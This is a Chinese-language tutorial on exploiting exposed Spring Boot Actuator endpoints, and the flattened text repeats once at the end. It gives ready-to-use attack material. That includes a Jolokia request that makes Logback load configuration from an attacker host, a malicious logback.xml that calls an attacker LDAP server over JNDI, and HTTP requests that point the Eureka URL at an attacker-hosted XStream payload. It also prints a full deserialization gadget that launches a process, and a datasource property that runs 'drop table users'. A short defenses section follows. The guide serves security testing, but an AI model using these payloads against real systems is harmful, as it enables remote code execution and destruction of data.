Spring Boot中Actuators的漏洞分析
字数 1603 2025-08-26 22:11:22

Spring Boot Actuators 漏洞分析与利用指南

1. Actuators 简介

Spring Boot Actuators 是一组用于监控和管理生产环境Web应用程序的功能端点。这些端点提供应用程序运行时的各种信息,包括健康状况、指标、环境变量等。

1.1 默认端点路径

  • Spring Boot 1.x: 根URL下直接注册(如 /env, /health
  • Spring Boot 2.x: 移动到 /actuator/ 路径下(如 /actuator/env

1.2 安全演变

  • Spring Boot 1.0-1.4: 默认无需身份验证即可访问所有端点
  • Spring Boot 1.5+: 默认只有 /health/info 端点开放,其他端点需要认证

2. 高危Actuator端点列表

以下端点可能带来安全隐患:

端点 风险描述
/dump 显示线程转储(包含堆栈跟踪)
/trace 显示最后几条HTTP消息(可能包含会话标识符)
/logfile 输出日志文件内容
/shutdown 关闭应用程序
/mappings 显示所有MVC控制器映射
/env 提供对配置环境的访问
/restart 重新启动应用程序

3. 关键漏洞利用技术

3.1 通过Jolokia进行远程代码执行

前提条件

  • 目标应用路径中包含Jolokia库
  • 可访问 /jolokia 端点

利用步骤

  1. 列出所有可用的MBean操作:

    http://127.0.0.1:8090/jolokia/list
    
  2. 利用Logback的reloadByURL操作:

    http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
    
  3. 恶意logback.xml内容:

    <configuration>
      <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
    </configuration>
    

攻击原理

  • Logback配置支持从JNDI获取变量
  • 恶意LDAP服务器可返回引用类型对象,触发目标应用执行任意代码

3.2 通过/env端点修改配置

前提条件

  • 目标应用包含Spring Cloud Libraries
  • 可访问 /env/refresh 端点

利用方法

  1. 修改Eureka服务URL(利用XStream反序列化):

    POST /env HTTP/1.1
    Host: 127.0.0.1:8090
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 65
    
    eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
    
  2. 触发配置刷新:

    POST /refresh HTTP/1.1
    Host: 127.0.0.1:8090
    
  3. 恶意XStream payload示例(触发计算器):

    <linked-hash-set>
      <jdk.nashorn.internal.objects.NativeString>
        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
          <dataHandler>
            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
              <is class="javax.crypto.CipherInputStream">
                <cipher class="javax.crypto.NullCipher">
                  <serviceIterator class="javax.imageio.spi.FilterIterator">
                    <iter class="javax.imageio.spi.FilterIterator">
                      <iter class="java.util.Collections$EmptyIterator"/>
                      <next class="java.lang.ProcessBuilder">
                        <command>
                          <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                        </command>
                        <redirectErrorStream>false</redirectErrorStream>
                      </next>
                    </iter>
                    <filter class="javax.imageio.ImageIO$ContainsFilter">
                      <method>
                        <class>java.lang.ProcessBuilder</class>
                        <name>start</name>
                        <parameter-types/>
                      </method>
                      <name>foo</name>
                    </filter>
                    <next class="string">foo</next>
                  </serviceIterator>
                  <lock/>
                </cipher>
                <input class="java.lang.ProcessBuilder$NullInputStream"/>
                <ibuffer></ibuffer>
              </is>
            </dataSource>
          </dataHandler>
        </value>
      </jdk.nashorn.internal.objects.NativeString>
    </linked-hash-set>
    

3.3 数据库相关攻击

可修改的关键数据库属性

  1. 执行任意SQL语句:

    spring.datasource.tomcat.validationQuery = drop table users
    
  2. 修改JDBC连接字符串:

    spring.datasource.tomcat.url = jdbc:hsqldb:https://localhost:3002/xdb
    
  3. 增加连接数以强制建立新连接:

    spring.datasource.tomcat.max-active=777
    

其他有用属性

  • spring.datasource.url - 数据库连接字符串
  • spring.datasource.jndiName - 数据库JNDI字符串
  • spring.datasource.tomcat.dataSourceJNDI - 数据库JNDI字符串
  • spring.cloud.config.uri - Spring Cloud配置URL

4. 黑盒测试方法

  1. 探测常见Actuator端点:

    • 使用Spring Boot默认端点列表进行扫描
    • 参考列表:https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
  2. 检查自定义端点:

    • 开发者可能使用@Endpoint创建自定义端点

5. 防御措施

  1. 安全配置建议:

    • 禁用不必要的Actuator端点
    • 为所有敏感端点配置身份验证
    • 在生产环境中限制Actuator端点的访问
  2. 版本升级:

    • 使用Spring Boot 2.x版本
    • 确保使用最新安全补丁
  3. 网络层防护:

    • 使用防火墙限制对Actuator端点的访问
    • 仅允许内部网络或管理IP访问

6. 测试环境搭建

可在Github上找到用于测试的易受攻击Spring Boot应用程序示例,用于复现上述所有payload。

Spring Boot Actuators 漏洞分析与利用指南 1. Actuators 简介 Spring Boot Actuators 是一组用于监控和管理生产环境Web应用程序的功能端点。这些端点提供应用程序运行时的各种信息,包括健康状况、指标、环境变量等。 1.1 默认端点路径 Spring Boot 1.x: 根URL下直接注册(如 /env , /health ) Spring Boot 2.x: 移动到 /actuator/ 路径下(如 /actuator/env ) 1.2 安全演变 Spring Boot 1.0-1.4: 默认无需身份验证即可访问所有端点 Spring Boot 1.5+: 默认只有 /health 和 /info 端点开放,其他端点需要认证 2. 高危Actuator端点列表 以下端点可能带来安全隐患: | 端点 | 风险描述 | |------|----------| | /dump | 显示线程转储(包含堆栈跟踪) | | /trace | 显示最后几条HTTP消息(可能包含会话标识符) | | /logfile | 输出日志文件内容 | | /shutdown | 关闭应用程序 | | /mappings | 显示所有MVC控制器映射 | | /env | 提供对配置环境的访问 | | /restart | 重新启动应用程序 | 3. 关键漏洞利用技术 3.1 通过Jolokia进行远程代码执行 前提条件 : 目标应用路径中包含Jolokia库 可访问 /jolokia 端点 利用步骤 : 列出所有可用的MBean操作: 利用Logback的 reloadByURL 操作: 恶意logback.xml内容: 攻击原理 : Logback配置支持从JNDI获取变量 恶意LDAP服务器可返回引用类型对象,触发目标应用执行任意代码 3.2 通过/env端点修改配置 前提条件 : 目标应用包含Spring Cloud Libraries 可访问 /env 和 /refresh 端点 利用方法 : 修改Eureka服务URL(利用XStream反序列化): 触发配置刷新: 恶意XStream payload示例(触发计算器): 3.3 数据库相关攻击 可修改的关键数据库属性 : 执行任意SQL语句: 修改JDBC连接字符串: 增加连接数以强制建立新连接: 其他有用属性 : spring.datasource.url - 数据库连接字符串 spring.datasource.jndiName - 数据库JNDI字符串 spring.datasource.tomcat.dataSourceJNDI - 数据库JNDI字符串 spring.cloud.config.uri - Spring Cloud配置URL 4. 黑盒测试方法 探测常见Actuator端点: 使用Spring Boot默认端点列表进行扫描 参考列表:https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt 检查自定义端点: 开发者可能使用 @Endpoint 创建自定义端点 5. 防御措施 安全配置建议: 禁用不必要的Actuator端点 为所有敏感端点配置身份验证 在生产环境中限制Actuator端点的访问 版本升级: 使用Spring Boot 2.x版本 确保使用最新安全补丁 网络层防护: 使用防火墙限制对Actuator端点的访问 仅允许内部网络或管理IP访问 6. 测试环境搭建 可在Github上找到用于测试的易受攻击Spring Boot应用程序示例,用于复现上述所有payload。